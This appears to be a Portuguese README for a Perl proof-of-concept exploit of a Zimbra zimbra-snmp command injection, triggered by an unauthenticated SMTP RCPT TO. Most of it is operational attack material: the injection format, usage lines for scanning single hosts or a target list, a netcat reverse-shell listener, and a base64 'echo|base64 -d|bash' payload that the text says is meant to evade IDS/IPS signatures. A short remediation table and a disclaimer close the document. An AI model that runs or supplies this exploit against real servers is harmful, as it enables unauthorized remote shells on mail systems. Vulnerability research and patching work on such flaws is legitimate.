
Zimbra SNMP Notification Injeção de Comando no Sistema Operacional — RCE não autenticado via exploit SMTP (Poc)
| Campo | Valor |
|---|
| CVE | CVE-2026-73570 |
| CVSS 3.1 | 8.9 ALTA — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L |
| CWE | CWE-78 — Neutralização inadequada de elementos especiais usados em um comando do sistema operacional |
| Afetados | Zimbra ZCS < 10.1.20 (com zimbra-snmp instalado) |
| Corrigido em | ZCS 10.1.20 — julho de 2026 |
| CISA KEV | Adicionado em 2026-08-21 (prazo de remediação FCEB: 2026-08-24) |
| Autenticação necessária | Nenhuma |
| Execução como | usuário do sistema operacional zimbra |
O pacote opcional zimbra-snmp inclui uma regra do swatchdog que monitora /var/log/zimbra.log em busca de linhas que correspondam a:
Service status change: <NAME> changed from <STATE> to <STATE>
Quando há uma correspondência, o swatchdog passa o campo <NAME> capturado diretamente para o script de shell de notificação SNMP sem qualquer sanitização.
Um atacante não autenticado pode injetar uma entrada de log criada especialmente ao enviar um comando SMTP RCPT TO com formato específico. Usando uma parte local entre aspas do RFC 5321, metacaracteres de shell — por exemplo, $(...) — são incorporados dentro de <NAME> e executados quando o swatchdog processa a linha de log resultante.
Todas as três condições devem ser verdadeiras no alvo para que a vulnerabilidade seja explorável:
zimbra-snmp está instaladosnmp_notify = true)swatchdog está em execuçãoAtacante MTA do Zimbra
│ │
│── TCP connect :25/:465/:587 ────►│
│── EHLO mx-test.invalid ─────────►│
│── MAIL FROM:<scanner@...> ──────►│
│── RCPT TO:<"x: Service status │
│ change: localhost $(CMD) │
│ changed from stopped to │
│ running"@cve.invalid> ──────►│
│ │── registra dados do RCPT TO ──► /var/log/zimbra.log
│ │ │
│ │ swatchdog encontra
│ │ o padrão, extrai
│ │ $(CMD), executa
│◄─────────── retorno de chamada do shell ───────────────────────────┘
RCPT TO armado.swatchdog encontra o padrão de log e extrai o $(CMD) injetado.CMD como o usuário do sistema operacional zimbra.cpan IO::Socket::SSL MIME::Base64 Digest::HMAC_MD5
perl zimbra-poc.pl -H mail.target.com -r <SEU_IP> -R 4444
perl zimbra-poc.pl -f targets.txt -r <SEU_IP> -R 4444
targets.txt — um host por linha, :porta opcional, linhas que começam com # são ignoradas:
mail.example.com
mail.example.com:25
10.0.0.50:587
# comentário ignorado
| Flag | Longo | Padrão | Descrição |
|---|---|---|---|
-H | --host | — | Nome do host ou IP de um único alvo |
-f | --file | — | Arquivo contendo a lista de alvos |
-p | --port | 587 | Porta SMTP padrão |
-r | --rhost | — | Seu IP para o retorno de chamada do shell reverso |
-R | --rport | 4444 | Porta do ouvinte |
-t | --timeout | 15 | Tempo limite do soquete em segundos |
-S | --ssl | desligado | TLS direto (ativado automaticamente na porta 465) |
-v | --verbose | desligado | Exibe o diálogo SMTP completo |
-L | --logfile | — | Grava o log da sessão em arquivo |
-h | --help | — | Mostra a ajuda |
# Terminal 1 — iniciar ouvinte
nc -lvnp 4444
# Terminal 2 — executar exploit
perl zimbra-poc.pl -H mail.target.com -r 10.10.10.1 -R 4444 -v
O comando do shell reverso é codificado em base64 antes da injeção:
echo <b64>|base64 -d|bash
Isso impede que IDS/IPS correspondam a assinaturas de texto simples, como /dev/tcp, bash -i ou nc -e. O blob codificado é injetado como $(...) dentro da parte local entre aspas do RCPT TO, acionando a execução no lado do servidor quando o swatchdog processa a entrada de log.
| Ação | Detalhe |
|---|---|
| Correção | Atualize para Zimbra ZCS ≥ 10.1.20 |
| Desativar notificação SNMP | zmprov mcf zimbraSnmpNotifyEnabled FALSE && zmconfigdctl restart |
| Remover pacote | apt remove zimbra-snmp / yum remove zimbra-snmp |
| Controles de rede | Restrinja SMTP de entrada (25/465/587) a relays confiáveis onde for operacionalmente viável |
Esta prova de conceito é divulgada apenas para testes de segurança autorizados, pesquisa acadêmica e fins defensivos.
Executá-la contra sistemas que você não possui ou para os quais não possui permissão escrita explícita para testar é ilegal.
O autor não assume nenhuma responsabilidade por uso indevido ou danos causados por esta ferramenta.